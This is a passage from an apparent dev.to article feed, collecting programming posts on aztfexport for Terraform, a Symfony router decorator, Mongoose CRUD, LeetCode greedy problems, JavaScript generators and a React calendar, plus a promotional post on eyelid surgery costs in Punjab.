repository](https://github.com/Mobey-eth/HNG-Devops-Stage1-Task/). Huge Thanks to [HNG](https://hng.tech/) for providing this opportunity. If you're eager to level up your technical skills and embark on a rewarding tech career, be sure to explore the opportunities offered by the HNG Internship program. Visit the [HNG Internship](https://hng.tech/internship) page to learn more about upcoming internship opportunities. If you're looking for top-tier talent for your next project, you can find exceptional individuals within the HNG network at [HNG Hire](https://hng.tech/hire).

0xmobi

replicating the vscode sidebar

Today's adventure was on replicating the vscode sidebar functionality. I got stuck on how to leave...

https://dev.to/marcos_/replicating-the-vscode-sidebar-5ec7

Today's adventure was on replicating the vscode sidebar functionality. I got stuck on how to leave the current tab open when a button is pressed. I read an article about how to use a map to store the state of the side bar that was particularly helpful.

marcos_

Azure Terraform Export: Importing Resources with Aztfexport

In this article, we will explore the aztfexport tool that can be used to bring existing Azure...

https://spacelift.io/blog/azure-terraform-export

terraform, azure

In this article, we will explore the `aztfexport` tool that can be used to bring existing Azure resources under Terraform's management. We will look at the tool itself, explaining what it is, what it does, and the typical workflow you will use with it. Then, we will move to a step-by-step setup tutorial with examples of how to use it.  ##What is the Azure Terraform Export tool (formerly Aztfy)? `Aztfexport` is an open-source export tool created by Microsoft. It allows you to migrate existing Azure resources to [Terraform state files](https://spacelift.io/blog/terraform-state) using a single command to bring them under Terraform's control. The main benefit of this tool is consistent and automated resource management across all Azure environments. `Aztfexport` is also formerly known as `aztfy`. Azure Terraform Export tool aims to take an existing resource group, individual resources, or a Graph query string from Azure and export it as Terraform code. ##Azure Terraform Export features and benefits Benefits of using `aztfexport` features include: - Automated and simplified importing - `Aztfexport` streamlines the process of transitioning existing resources to Terraform. It enables the automatic import of existing resources into the Terraform state without having to do that separately. This also saves you the manual effort of creating Terraform configurations from scratch. - Improved IaC - By exporting Azure resources to Terraform, you embrace the IaC paradigm. Changes to your infrastructure become declarative, version-controlled, and reproducible. - Easy integration - `Aztfexport` seamlessly integrates with your existing Terraform workflows. You can incorporate the exported resources into your existing Terraform projects. - Community support -  `Aztfexport` is part of the Azure community ecosystem. There, you can find support, contribute, and collaborate with other users. ##Aztfexport workflow Now, let's explore how does the Azure Export tool operate with Terraform and the workflow it follows when exporting resources. 1. Identify which existing Azure resources you want to export. 2. Decide whether to export the Azure resources into the Terraform state, or generate HCL code. 3. Install `aztfexport` (see the section below[link] for this). Execute commands specifying the resource to be exported. 4. Inspect the generated Terraform code and make any necessary adjustments, such as adding variables, modules, or customizations. 5. Integrate the exported resources into your existing Terraform project. Once imported into the state, you can use Terraform commands (e.g., terraform plan, terraform apply) to manage the resources. `Aztfexport` leverages another tool called [Aztft](https://github.com/magodo/aztft) to identify the Terraform resource type corresponding to an Azure resource ID.  `Aztft` is a Go program and library that identifies the correct Terraform AzureRM provider resource type on the Azure resource ID. It then runs [Terraform import ](https://spacelift.io/blog/importing-exisiting-infrastructure-into-terraform)under the hood to import each resource into Terraform. After importing, aztft uses tfadd to generate the Terraform HCL code for each imported resource. [Tfadd](https://github.com/magodo/tfadd) is another Go program and library for generating Terraform configuration from the Terraform state. 💡 You might also like: - [How to Manage DynamoDB Tables With Terraform](https://spacelift.io/blog/terraform-dynamodb) - [Terraform with Azure DevOps CI/CD Pipelines](https://spacelift.io/blog/terraform-azure-devops) - [How to Migrate Terraform State Between Different Backends](https://spacelift.io/blog/terraform-migrate-state) ##How to use Aztfexport? In this tutorial section of the article, we will show you how to install Aztfexport and use it to export existing Azure resources to Terraform. ### 1\. Prerequisites - An Azure subscription containing some existing resources. - `aztfexport`requires a Terraform executable installed in your $PATH with a version greater than or equal to v0.12. ### 2\. Install Azure Export for Terraform You can install `aztfexport` for various platforms like Windows, Linux, macOS, Ubuntu, Red Hat Linux, and Go Toolchain. #### Windows To install Azure Export on Windows, run: ``` winget install aztfexport ```  Precompiled binaries and Windows MSI are also available in the [Releases](https://github.com/Azure/aztfexport) on GitHub. #### Linux / MacOS: To get `aztfexport` on Linux or MacOS run: ``` brew install aztfexport ``` #### Ubuntu 20.04 or 22.04 The Azure Export installation process for Ubuntu is as follows: ``` #Import the Microsoft repository key: curl -sSL https://packages.microsoft.com/keys/microsoft.asc > /etc/apt/trusted.gpg.d/microsoft.asc #Add packages-microsoft-com-prod repository: ver=20.04 # or 22.04 apt-add-repository https://packages.microsoft.com/ubuntu/${ver}/prod #Install: apt-get install aztfexport ``` #### Red Hat Linux 8 or 9 To install `aztfexport` on Red Hat Linux 8 or 9, follow the process below: ``` #Import the Microsoft repository key: rpm --import https://packages.microsoft.com/keys/microsoft.asc #Add packages-microsoft-com-prod repository: ver=8 # or 9 dnf install -y https://packages.microsoft.com/config/rhel/${ver}/packages-microsoft-prod.rpm #Install: dnf install aztfexport ``` #### Go Toolchain This command installs the Azure Export for Terraform with Go: ``` go install github.com/Azure/aztfexport@latest ``` ### 3\. Create Azure resources In this example, we will create a resource group named `my-rg-test01`. Inside this resource group, we will create a virtual network named `my-vnet-test01` with two subnets: `default` and `my-subnet-test01`. To do this, go to the Azure portal, search for virtual networks, and hit 'create virtual network'. Create a new resource group called `my-rg-test01` and specify the name as `my-vnet-test01`. We have selected the region as (Europe) UK South.  Hit Next, and on the IP addresses tab, enter the address space as 10.0.0.0/16 (default) and create two subnets. One called 'default' with address 10.0.1.0/24, and the other called my-subnet-test01 with address space 10.0.2.0/24.  Press 'review and create' and then finally 'create'. ### 4\. Export the Azure resource The syntax for the `aztfexport` command is shown below: ``` aztfexport [command] [option] <scope> ``` There are three options for the command, `resource`, `resource-group`, or `query`. They can be used depending on what you need to export. Note that the `resource-group` option also exports the nested contents. For example, to export the resource group and its nested resources: ``` aztfexport resource-group my-rg-test01 ``` After running this command, `aztfexport` will initialize and display a list of the resources to be exported. You can also use an Azure graph query such as the one below to export the network resources: ``` aztfexport query -n "resourceGroup =~ 'my-rg-test01' and type contains 'Microsoft.Network'" ``` ### 5\. View the results The exported resources will be converted into Terraform code. We've successfully imported the infrastructure to Terraform!  You'll find a `.aztfexport` suffix added to the generated files (e.g., `main.aztfexport.tf`) to avoid potential filename conflicts. Now, let's inspect the generated Terraform code and make any necessary adjustments. Incorporate the exported VNet resource into your existing Terraform project. The result should look something like this: ``` provider "azurerm" { features {} } resource "azurerm_virtual_network" "my_vnet" { name = "my-vnet-test01" address_space = ["10.0.0.0/16"] location = "UK South" resource_group_name = "my-rg-test01" subnet { name = "default" address_prefix = "10.0.1.0/24" } subnet { name = "my-subnet-test01" address_prefix = "10.0.2.0/24" } } ``` ### 6\. Clean up To avoid unexpected costs, don't forget to remove the test resources you created from the portal. ##Azure Terraform Export limitations There are some limitations that come with the Azure Terraform export tool. For example: - The Terraform configurations generated by `aztfexport` are not meant to be comprehensive and do not ensure that the infrastructure can be fully reproduced from said generated configurations. - It only works with Azure resources. - Azure Export for Terraform is currently able to declare only explicit dependencies. You must know the mapping of the relationships between resources to refactor the code to include any needed implicit dependencies. ##Key points `aztfexport` aims to make life simpler when bringing existing Azure resources under Terraform control by generating the code for them and bringing them into Terraform state management automatically. We encourage you also to explore [how Spacelift makes it easy to work with Terraform](https://docs.spacelift.io/). If you need any help managing your Terraform infrastructure or building more complex workflows based on Terraform and other IaC tools, Spacelift is a fantastic tool for this. It supports Git workflows, policy as code, programmatic configuration, context sharing, drift detection, and many more great features right out of the box.  If you want to learn more about Spacelift working with Azure, check our [documentation](https://docs.spacelift.io/integrations/cloud-providers/azure) or [book a demo with one of our engineers](https://spacelift.io/schedule-demo). _Written by Jack Roper._

spacelift_team

Decorate the Symfony router to add a trailing slash to all URLs

I recently noticed an issue between the links that Symfony generated for Password Angel and the...

https://dev.to/chrisshennan/decorate-the-symfony-router-to-add-a-trailing-slash-to-all-urls-40jd

symfony, routing, php, webdev

I recently noticed an issue between the links that Symfony generated for [Password Angel](https://passwordangel.co) and the actual links that are in use. When Symfony builds the URL there are no trailing slashes i.e. `/terms`, however, as [Password Angel](https://passwordangel.co) is hosted in an S3 bucket as a static site a trailing slash is part of the live URL i.e. `/terms/`. This causes 2 problems:- - Unnecessary redirections - All links in the page will refer to the link version without the trailing slash and then the user will need to be redirected to the version with the trailing slash. - The canonical URLs are invalid - As I'm using Symfony to generate the canonical URL for each page, it generated the link version without the trailing slash. This may cause SEO issues as search engines will - visit `/terms` - be redirected to `/terms/` - be informed the original page is at `/terms` - ... go to step 1 - infinite loop ... ## Solution - Decorate the Symfony Router To resolve this I created a decorator for the Symfony default router and have overridden the `generate` method to add a slash to the end of the URL. It also checks for the presence of `?` which would indicate there are query string parameters and in this situation, I am inserting the `/` before the `?` as we want `/terms/?utm_campaign=...` and not `/terms?utm_campaign=.../`. ```php <?php declare(strict_types=1); namespace App\Service; use Symfony\Component\DependencyInjection\Attribute\AsDecorator; use Symfony\Component\HttpKernel\CacheWarmer\WarmableInterface; use Symfony\Component\Routing\RequestContext; use Symfony\Component\Routing\RouteCollection; use Symfony\Component\Routing\Router; use Symfony\Component\Routing\RouterInterface; #[AsDecorator('router.default')] class TrailingSlashUrlGenerator implements RouterInterface, WarmableInterface { public function __construct( private readonly Router $urlGenerator, ) {} public function generate($name, $parameters = [], $referenceType = self::ABSOLUTE_PATH): string { // Original URL $url = $this->urlGenerator->generate($name, $parameters, $referenceType); // Add the slash before any query string parameters $pos = strpos($url, '?'); if ($pos !== false) { $parts = explode('?', $url, 2); if (str_ends_with($parts[0], '/') === false) { $parts[0] .= '/'; return implode('?', $parts); } } // Add the slash at the end of the URL if (str_ends_with($url, '/') === false) { $url .= '/'; } return $url; } public function match(string $pathinfo): array { return $this->urlGenerator->match($pathinfo); } public function getRouteCollection(): RouteCollection { return $this->urlGenerator->getRouteCollection(); } public function setContext(RequestContext $context): void { $this->urlGenerator->setContext($context); } public function getContext(): RequestContext { return $this->urlGenerator->getContext(); } public function warmUp(string $cacheDir, ?string $buildDir = null): array { return []; } } ``` Note: To host [Password Angel](https://passwordangel.co) as a static site on S3, I have written a Symfony command to generate static versions of all the pages (all 4 of them) and these are uploaded to S3. Let me know if you're interested and I'll post up how the Symfony command works. ---- Originally published at [https://chrisshennan.com/blog/decorate-the-symfony-router-to-add-a-trailing-slash-to-all-urls](https://chrisshennan.com/blog/decorate-the-symfony-router-to-add-a-trailing-slash-to-all-urls)

chrisshennan

Database Integration

Topic: "Working with Databases: MongoDB and Mongoose" Description: Introduction to MongoDB and...

https://dev.to/suhaspalani/database-integration-je2

database, integration, webdev, backenddevelopment

- *Topic*: "Working with Databases: MongoDB and Mongoose" - *Description*: Introduction to MongoDB and Mongoose for database integration in Node.js applications. #### Content: #### 1. Introduction to MongoDB - **What is MongoDB**: Explain MongoDB as a NoSQL database. - **Why MongoDB**: Discuss the benefits like flexibility, scalability, and performance. #### 2. Setting Up MongoDB - **Installation**: Provide links and instructions for installing MongoDB locally or using a service like MongoDB Atlas. - **Connecting to MongoDB**: ```javascript const mongoose = require('mongoose'); mongoose.connect('mongodb://localhost:27017/mydatabase', { useNewUrlParser: true, useUnifiedTopology: true }).then(() => { console.log('Connected to MongoDB'); }).catch(err => { console.error('Connection error', err); }); ``` #### 3. Defining a Schema with Mongoose - **Install Mongoose**: ```bash npm install mongoose ``` - **Define a Book Schema**: ```javascript const bookSchema = new mongoose.Schema({ title: String, author: String, publishedDate: Date, pages: Number }); const Book = mongoose.model('Book', bookSchema); ``` #### 4. CRUD Operations with Mongoose - **Create Operation**: ```javascript app.post('/books', async (req, res) => { const book = new Book(req.body); try { await book.save(); res.status(201).json(book); } catch (err) { res.status(400).json({ error: err.message }); } }); ``` - **Read Operations**: ```javascript app.get('/books', async (req, res) => { try { const books = await Book.find(); res.json(books); } catch (err) { res.status(500).json({ error: err.message }); } }); app.get('/books/:id', async (req, res) => { try { const book = await Book.findById(req.params.id); if (book) { res.json(book); } else { res.status(404).send('Book not found'); } } catch (err) { res.status(500).json({ error: err.message }); } }); ``` - **Update Operation**: ```javascript app.put('/books/:id', async (req, res) => { try { const book = await Book.findByIdAndUpdate(req.params.id, req.body, { new: true }); if (book) { res.json(book); } else { res.status(404).send('Book not found'); } } catch (err) { res.status(400).json({ error: err.message }); } }); ``` - **Delete Operation**: ```javascript app.delete('/books/:id', async (req, res) => { try { const book = await Book.findByIdAndDelete(req.params.id); if (book) { res.status(204).send(); } else { res.status(404).send('Book not found'); } } catch (err) { res.status(500).json({ error: err.message }); } }); ``` #### 5. Testing with Postman - **Repeat Testing**: Demonstrate testing the CRUD operations with Postman or Curl.

suhaspalani

LeetCode Day26 Greedy Algorithms Part 4

452. Minimum Number of Arrows to Burst Balloons There are some spherical balloons taped...

https://dev.to/flame_chan_llll/leetcode-day26-greedy-algorithms-part-4-5eoi

leetcode, java, algorithms

# 452. Minimum Number of Arrows to Burst Balloons There are some spherical balloons taped onto a flat wall that represents the XY-plane. The balloons are represented as a 2D integer array points where points[i] = [xstart, xend] denotes a balloon whose horizontal diameter stretches between xstart and xend. You do not know the exact y-coordinates of the balloons. Arrows can be shot up directly vertically (in the positive y-direction) from different points along the x-axis. A balloon with xstart and xend is burst by an arrow shot at x if xstart <= x <= xend. There is no limit to the number of arrows that can be shot. A shot arrow keeps traveling up infinitely, bursting any balloons in its path. Given the array points, return the minimum number of arrows that must be shot to burst all balloons. Example 1: Input: points = [[10,16],[2,8],[1,6],[7,12]] Output: 2 Explanation: The balloons can be burst by 2 arrows: - Shoot an arrow at x = 6, bursting the balloons [2,8] and [1,6]. - Shoot an arrow at x = 11, bursting the balloons [10,16] and [7,12]. Example 2: Input: points = [[1,2],[3,4],[5,6],[7,8]] Output: 4 Explanation: One arrow needs to be shot for each balloon for a total of 4 arrows. Example 3: Input: points = [[1,2],[2,3],[3,4],[4,5]] Output: 2 Explanation: The balloons can be burst by 2 arrows: - Shoot an arrow at x = 2, bursting the balloons [1,2] and [2,3]. - Shoot an arrow at x = 4, bursting the balloons [3,4] and [4,5]. Constraints: 1 <= points.length <= 105 points[i].length == 2 -2^31 <= xstart < xend <= 2^31 - 1 [Original Page](https://leetcode.com/problems/minimum-number-of-arrows-to-burst-balloons/description/) ``` public int findMinArrowShots(int[][] points) { if(points.length == 0){ return 0; } Arrays.sort(points, (a,b) ->{ if(a[0] == b[0]){ return a[1] - b[1]; } return a[0] - b[0]; }); int arrow = 1; int start = points[0][0]; int end = points[0][1]; for(int i=0; i<points.length; i++){ if((points[i][0] >= start && points[i][0]<= end) || (end >=points[i][0] && end <= points[i][1])){ //Narrow the arrow point down if(points[i][0] > start && points[i][0] <= end){ start = points[i][0]; } if(points[i][1]>start && points[i][1] < end){ end = points[i][1]; } continue; }else{ // current arrow point is not satisfied with balloons start = points[i][0]; end = points[i][1]; arrow ++; } } return arrow; } ``` # 435. Non-overlapping Intervals Given an array of intervals intervals where intervals[i] = [starti, endi], return the minimum number of intervals you need to remove to make the rest of the intervals non-overlapping. Example 1: Input: intervals = [[1,2],[2,3],[3,4],[1,3]] Output: 1 Explanation: [1,3] can be removed and the rest of the intervals are non-overlapping. Example 2: Input: intervals = [[1,2],[1,2],[1,2]] Output: 2 Explanation: You need to remove two [1,2] to make the rest of the intervals non-overlapping. Example 3: Input: intervals = [[1,2],[2,3]] Output: 0 Explanation: You don't need to remove any of the intervals since they're already non-overlapping. Constraints: 1 <= intervals.length <= 10^5 intervals[i].length == 2 -5 * 10^4 <= starti < endi <= 5 * 10^4 [Original Page](https://leetcode.com/problems/non-overlapping-intervals/description/) ## Wrong Code ``` public int eraseOverlapIntervals(int[][] intervals) { if(intervals.length == 0){ return 0; } Arrays.sort(intervals, (a,b) ->{ if(a[0] == b[0]){ return a[1] - b[1]; } return a[0] - b[0]; }); Arrays.stream(intervals) .map(Arrays::toString) .forEach(System.out::println); int count = 0; // List<int[]> list = new LinkedList<>(); int start = intervals[0][0]; int end = intervals[0][1]; for(int i=1; i<intervals.length; i++){ //if the left edge is not included in the previous interval the right will definitely not be in it. if(intervals[i][0] >=start && intervals[i][0] <end){ count++; continue; } start = intervals[i][0]; end = intervals[i][1]; // list.add(intervals[i]); } return count; } ``` <br> ## Fix it ``` public int eraseOverlapIntervals(int[][] intervals) { if(intervals.length == 0){ return 0; } Arrays.sort(intervals, (a,b) ->{ return a[0] - b[0]; }); int count = 0; int start = intervals[0][0]; int end = intervals[0][1]; for(int i=1; i<intervals.length; i++){ if(intervals[i][0] < intervals[i-1][1]){ count++; // here we need to find the maximum overlap, the means whether the next element overlap to above groups of overlaps // if only find overlap from the previous interval, it may cause miss calculation over-add 1 count intervals[i][1] = Math.min(intervals[i][1], intervals[i-1][1]); } } return count; } ``` # 763. Partition Labels You are given a string s. We want to partition the string into as many parts as possible so that each letter appears in at most one part. Note that the partition is done so that after concatenating all the parts in order, the resultant string should be s. Return a list of integers representing the size of these parts. Example 1: Input: s = "ababcbacadefegdehijhklij" Output: [9,7,8] Explanation: The partition is "ababcbaca", "defegde", "hijhklij". This is a partition so that each letter appears in at most one part. A partition like "ababcbacadefegde", "hijhklij" is incorrect, because it splits s into less parts. Example 2: Input: s = "eccbbbbdec" Output: [10] Constraints: 1 <= s.length <= 500 s consists of lowercase English letters. [Original Page](https://leetcode.com/problems/partition-labels/description/) ``` public List<Integer> partitionLabels(String s) { List<Integer> list = new ArrayList<>(); Set<Character> set = new HashSet<>(); if(s.length() == 0){ return list; } int start = 0; int end = 0; for(int i=0; i<s.length(); i++){ Character target = s.charAt(i); if(!set.contains(target)){ set.add(target); int j = s.length()-1; for(;j>i;j--){ if(s.charAt(j) == target){ break; } } end = Math.max(end, j); } if(i == end){ list.add(end-start+1); start = i+1; set.clear(); } } return list; } ``` ``` public List<Integer> partitionLabels(String s) { List<Integer> list = new ArrayList<>(); Set<Character> set = new HashSet<>(); int[] pos = new int[27]; for(int i=s.length()-1; i>0;i--){ if(pos[s.charAt(i)-'a'] == 0){ pos[s.charAt(i)-'a'] = i; } } if(s.length() == 0){ return list; } int start = 0; int end = 0; for(int i=0; i<s.length(); i++){ Character target = s.charAt(i); if(!set.contains(target)){ set.add(target); end = Math.max(end, pos[target-'a']); } if(i == end){ list.add(end-start+1); start = i+1; set.clear(); } } return list; } ``` ``` public List<Integer> partitionLabels(String s) { List<Integer> list = new ArrayList<>(); int[] pos = new int[27]; for(int i=s.length()-1; i>0;i--){ if(pos[s.charAt(i)-'a'] == 0){ pos[s.charAt(i)-'a'] = i; } } if(s.length() == 0){ return list; } int start = 0; int end = 0; for(int i=0; i<s.length(); i++){ Character target = s.charAt(i); end = Math.max(end, pos[target-'a']); if(i == end){ list.add(end-start+1); start = i+1; } } return list; } ``` Because it is not important for evaluating whether the element has been in the set, we only focus on whether the end is reached or not, and if the same elements happen, the end will not change and if the different elements merge, it seems like end may change but all of them will not impact the if evaluation so we can remove them.

flame_chan_llll

Mastering Generators in JavaScript

JavaScript, being a versatile and dynamic programming language, offers various tools and features...

https://dev.to/dev_habib_nuhu/mastering-generators-in-javascript-5191

webdev, javascript, programming, tutorial

JavaScript, being a versatile and dynamic programming language, offers various tools and features that make it powerful for both frontend and backend development. One such feature is Generators. Introduced in ECMAScript 6 (ES6), generators provide a new way to handle functions, enabling more control over execution and iteration. This article will dive deep into the concept of generators, their syntax, and practical use cases. **What are Generators?** Generators are a special type of function in JavaScript that can pause and resume execution. Unlike regular functions that run to completion once called, generators can yield control back to the caller, allowing for more complex iteration patterns and asynchronous programming. **Syntax of Generators** Generators are defined using the function* syntax. The * indicates that the function is a generator. Inside the generator function, the yield keyword is used to pause execution and return a value. ``` function* generatorFunction() { yield 'Hello'; yield 'World'; } const generator = generatorFunction(); console.log(generator.next().value); // 'Hello' console.log(generator.next().value); // 'World' console.log(generator.next().done); // true ``` In the example above, generatorFunction is a generator that yields two values: 'Hello' and 'World'. Calling `generator.next()` returns an object with two properties: `value`, which is the yielded value, and done, a boolean indicating whether the generator has completed execution. **Working with Generators** Generators are particularly useful for creating custom iterators. Let's explore a few practical examples: **Example 1: Iterating over a sequence** ``` function* countUpTo(max) { let count = 0; while (count < max) { yield count++; } } const counter = countUpTo(5); for (let num of counter) { console.log(num); // 0, 1, 2, 3, 4 } ``` In this example, the generator **countUpTo** yields numbers from 0 to **max - 1**. Using a `for...of` loop, we can easily iterate over the generated sequence. **Example 2: Infinite sequences** Generators can also create infinite sequences, which is useful for generating potentially unbounded data. ``` function* infiniteSequence() { let num = 0; while (true) { yield num++; } } const sequence = infiniteSequence(); console.log(sequence.next().value); // 0 console.log(sequence.next().value); // 1 console.log(sequence.next().value); // 2 // and so on... ``` **Example 3: Asynchronous Iteration** Generators can be combined with Promises to handle asynchronous operations in a more readable way. This is often seen in conjunction with async/await. ``` function* fetchData() { const data1 = yield fetch('https://api.example.com/data1').then(res => res.json()); const data2 = yield fetch('https://api.example.com/data2').then(res => res.json()); return { data1, data2 }; } function runGenerator(gen) { const iterator = gen(); function handle(result) { if (result.done) return Promise.resolve(result.value); return Promise.resolve(result.value) .then(res => handle(iterator.next(res))) .catch(err => handle(iterator.throw(err))); } try { return handle(iterator.next()); } catch (ex) { return Promise.reject(ex); } } runGenerator(fetchData).then(data => { console.log(data); }).catch(error => { console.error(error); }); ``` In this example, `fetchData` is a generator that fetches data from two URLs. The `runGenerator` function handles the execution of the generator and ensures that asynchronous operations are properly awaited. **Benefits of Using Generators** 1. **Simplified Iteration**: Generators provide a clear and concise way to create custom iterators, making it easier to handle sequences of data. 2. **Lazy Evaluation**: Values are generated on-the-fly, which can improve performance and memory usage, especially for large or infinite sequences. 3. **Asynchronous Control Flow**: Generators, when combined with Promises, offer a powerful way to manage asynchronous operations, making the code more readable and maintainable. **Conclusion** Generators are a powerful feature in JavaScript that offer a new way to handle function execution and iteration. They provide greater control over how and when values are produced, making them ideal for a range of tasks from simple iteration to complex asynchronous workflows. By understanding and leveraging generators, you can write more efficient and maintainable JavaScript code.

dev_habib_nuhu

Blepharoplasty cost in punjab

Blepharoplasty Cost in Punjab: A Comprehensive Guide Blepharoplasty, commonly known as eyelid...

https://dev.to/jay_mark_b7da83c8c2be24c5/blepharoplasty-cost-in-punjab-10pm

Blepharoplasty Cost in Punjab: A Comprehensive Guide Blepharoplasty, commonly known as eyelid surgery, is a popular cosmetic procedure that aims to enhance the appearance of the eyelids. Whether to correct droopy eyelids, remove excess skin, or address puffiness, blepharoplasty can significantly improve one's facial aesthetics. Punjab, known for its advanced medical facilities and skilled surgeons, has become a sought-after destination for this procedure. This article provides a detailed overview of the cost of blepharoplasty in Punjab, helping potential patients make informed decisions. What is Blepharoplasty? Blepharoplasty is a surgical procedure that removes excess skin, fat, and muscle from the upper and/or lower eyelids. It can address issues such as: Droopy upper eyelids that may impair vision. Excess skin that creates folds or affects the natural contour of the upper eyelid. Bags under the eyes. Sagging lower eyelids that reveal the white below the iris. Factors Influencing the Cost of Blepharoplasty Several factors can affect the overall cost of blepharoplasty in Punjab: Type of Procedure: Upper Eyelid Surgery: Focuses on removing excess skin and fat from the upper eyelids. Lower Eyelid Surgery: Addresses puffiness and sagging in the lower eyelids. Combination Surgery: Both upper and lower eyelids are treated in a single procedure. Surgeon’s Expertise: Highly experienced and renowned surgeons may charge more for their services. The reputation and skill of the surgeon play a significant role in determining the cost. Clinic or Hospital: The choice of clinic or hospital impacts the cost. Facilities with advanced technology, superior infrastructure, and high standards of care may have higher fees. Geographical Location: The cost can vary within Punjab, with cities like Ludhiana, Chandigarh, and Amritsar potentially having different pricing structures. Pre- and Post-Operative Care: The cost includes pre-operative consultations, medical tests, and post-operative care such as medications and follow-up visits. Average Cost of Blepharoplasty in Punjab The cost of blepharoplasty in Punjab can range widely based on the factors mentioned above. On average: Upper Eyelid Surgery: ₹40,000 to ₹80,000 Lower Eyelid Surgery: ₹50,000 to ₹90,000 Combination Surgery: ₹80,000 to ₹1,50,000 These prices are indicative and can vary depending on the specifics of each case. Consulting with a qualified surgeon will provide a more accurate estimate tailored to individual needs. Breakdown of Costs Consultation Fees: Initial consultations typically cost between ₹1,000 and ₹3,000. Surgery Fees: This includes the surgeon’s fee, anesthesia charges, and the use of the operating room. Medical Tests: Pre-operative tests such as blood work and eye examinations can add ₹2,000 to ₹5,000. Medications and Post-Operative Care: Costs for pain relief, antibiotics, and follow-up appointments can range from ₹5,000 to ₹10,000. Facility Fees: High-end clinics may charge additional fees for the use of their facilities and advanced equipment. Choosing the Right Surgeon and Clinic When considering blepharoplasty, selecting the right surgeon and clinic is crucial for achieving the desired results and ensuring safety. Here are some tips: Research and Reviews: Look for surgeons with excellent reviews and testimonials. Check before-and-after photos of previous patients. Credentials and Experience: Ensure the surgeon is board-certified and has extensive experience in performing blepharoplasty. Consultation: Schedule consultations with multiple surgeons to discuss your goals, expectations, and potential risks. This also helps in comparing costs and services. Facility Standards: Choose a clinic or hospital with high standards of hygiene, advanced technology, and a supportive staff. Conclusion [Blepharoplasty COST in Punjab](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/349dxyxg4ejdxkrco6dv.png) offers a viable solution for individuals looking to rejuvenate their appearance and correct eyelid issues. While the cost of the procedure varies based on several factors, understanding these elements can help prospective patients plan their budget effectively. By choosing a skilled surgeon and a reputable clinic, patients can achieve satisfying results and enjoy the benefits of enhanced eyelid aesthetics.

jay_mark_b7da83c8c2be24c5

How to build Google calendar clone with React (Day view)

Hi folks, have you ever needed to create or integrate a calendar or scheduler in your app to display...

https://dev.to/cookiemonsterdev/google-calendar-clone-with-react-day-view-32fh

react, tailwindcss, typescript, guide

Hi folks, have you ever needed to create or integrate a calendar or scheduler in your app to display and interact with events? If so, you probably faced the dilemma of choosing the right library for the task. There are many cool and useful libraries available on the internet, some free and some enterprise-level, such as [react-big-calendar](https://jquense.github.io/react-big-calendar/examples/index.html?path=/story/about-big-calendar--page), [blazor-scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler), [@react-admin/ra-calendar](https://react-admin-ee.marmelab.com/documentation/ra-calendar) etc. Many of these libraries offer a wide range of features and functionality, and you are free to use them at any time. However, if you need a simple yet similar solution with more control over your code, you can follow this guide to create your own. So, let's get started! For the base design, I will use the Google Calendar layout. This part of the guide covers the day view of the calendar. The next parts will cover the week view and month view, respectively. This part includes: - [Toolbar header](#toolbar-header) - [Day layout](#day-layout) - [Current time](#current-time) - [Events grouping and displaying](#events-grouping-and-displaying) Also, I won't be covering features like drag and drop or event editing since the main goal of this guide is to show logic that stands behind calendar and events displaying. There is a [repo](https://github.com/cookieMonsterDev/google-calendar-clone/tree/starter) for your quick start, feel free to use it) --- ## Toolbar header Any calendar should have a toolbar to handle view and time switching, display the current time, etc. So I start with the toolbar header. ```tsx import { useState, useCallback } from "react"; import { ChevronLeft, ChevronRight } from "lucide-react"; import { cn } from "../utils"; import { add, sub, endOfWeek, startOfWeek, formatDate } from "date-fns"; type View = "day" | "week" | "month"; export type CalendarProps = { view?: View; events?: Event[]; date: string | number | Date; }; export const Calendar: React.FC<CalendarProps> = ({ date, view = "day" }) => { const [curView, setCurView] = useState<View>(view); const [curDate, setCurDate] = useState<Date>(new Date(date)); const onPrev = useCallback(() => { if (curView === "day") { return setCurDate((prev) => sub(prev, { days: 1 })); } if (curView === "week") { return setCurDate((prev) => sub(prev, { weeks: 1 })); } return setCurDate((prev) => sub(prev, { months: 1 })); }, [curView]); const onNext = useCallback(() => { if (curView === "day") { return setCurDate((prev) => add(prev, { days: 1 })); } if (curView === "week") { return setCurDate((prev) => add(prev, { weeks: 1 })); } return setCurDate((prev) => add(prev, { months: 1 })); }, [curView]); const formatDateForView = useCallback( (date: Date) => { if (curView === "day") { return formatDate(date, "dd MMMM yyyy"); } if (curView === "week") { const weekStart = startOfWeek(date); const weekEnd = endOfWeek(date); const startMonth = formatDate(weekStart, "MMM"); const endMonth = formatDate(weekEnd, "MMM"); const year = formatDate(weekStart, "yyyy"); if (startMonth !== endMonth) { return `${startMonth} – ${endMonth} ${year}`; } else { return `${startMonth} ${year}`; } } return formatDate(date, "MMMM yyyy"); }, [curView] ); return ( <div id="calendar" className="w-full flex flex-col overflow-hidden"> <section id="calendar-header" className="mb-6 w-full flex justify-between" > <div className="flex gap-2 items-center"> <button aria-label="set date today" onClick={() => setCurDate(new Date())} className="py-2 px-3 border border-gray-200 rounded-md font-semibold hover:bg-blue-100 transition-colors duration-300" > Today </button> <button onClick={onPrev} aria-label={`prev ${curView}`} className="w-[42px] aspect-square border border-gray-200 rounded-md font-semibold flex justify-center items-center hover:bg-blue-100 transition-colors duration-300" > <ChevronLeft /> </button> <button onClick={onNext} aria-label={`next ${curView}`} className="w-[42px] aspect-square border border-gray-200 rounded-md font-semibold flex justify-center items-center hover:bg-blue-100 transition-colors duration-300" > <ChevronRight /> </button> <span className="ml-6 font-semibold text-xl"> {formatDateForView(curDate)} </span> </div> <div className="flex gap-2"> <button aria-label="set month view" onClick={() => setCurView("month")} className={cn( "py-2 px-3 border border-gray-200 rounded-md font-semibold hover:bg-blue-100 transition-colors duration-300", curView === "month" && "bg-blue-400 text-white hover:bg-blue-700" )} > Month </button> <button aria-label="set month week" onClick={() => setCurView("week")} className={cn( "py-2 px-3 border border-gray-200 rounded-md font-semibold hover:bg-blue-100 transition-colors duration-300", curView === "week" && "bg-blue-400 text-white hover:bg-blue-700" )} > Week </button> <button aria-label="set month day" onClick={() => setCurView("day")} className={cn( "py-2 px-3 border border-gray-200 rounded-md font-semibold hover:bg-blue-100 transition-colors duration-300", curView === "day" && "bg-blue-400 text-white hover:bg-blue-700" )} > Day </button> </div> </section> {curView === "day" && <>day view</>} {curView === "week" && <>week view</>} {curView === "month" && <>month view</>} </div> ); }; ``` I'm not really sure that there is much to explain since the code is pretty straightforward. The only part that requires more calculation is the date formatting for the week view, particularly when the start or end days of the week are part of another month, as shown above. --- ## Day layout The layout of the day is quite simple. The built-in utility from date-fns allows you to retrieve an array of hours for a day, which is then used for grid building. ```tsx import { format, 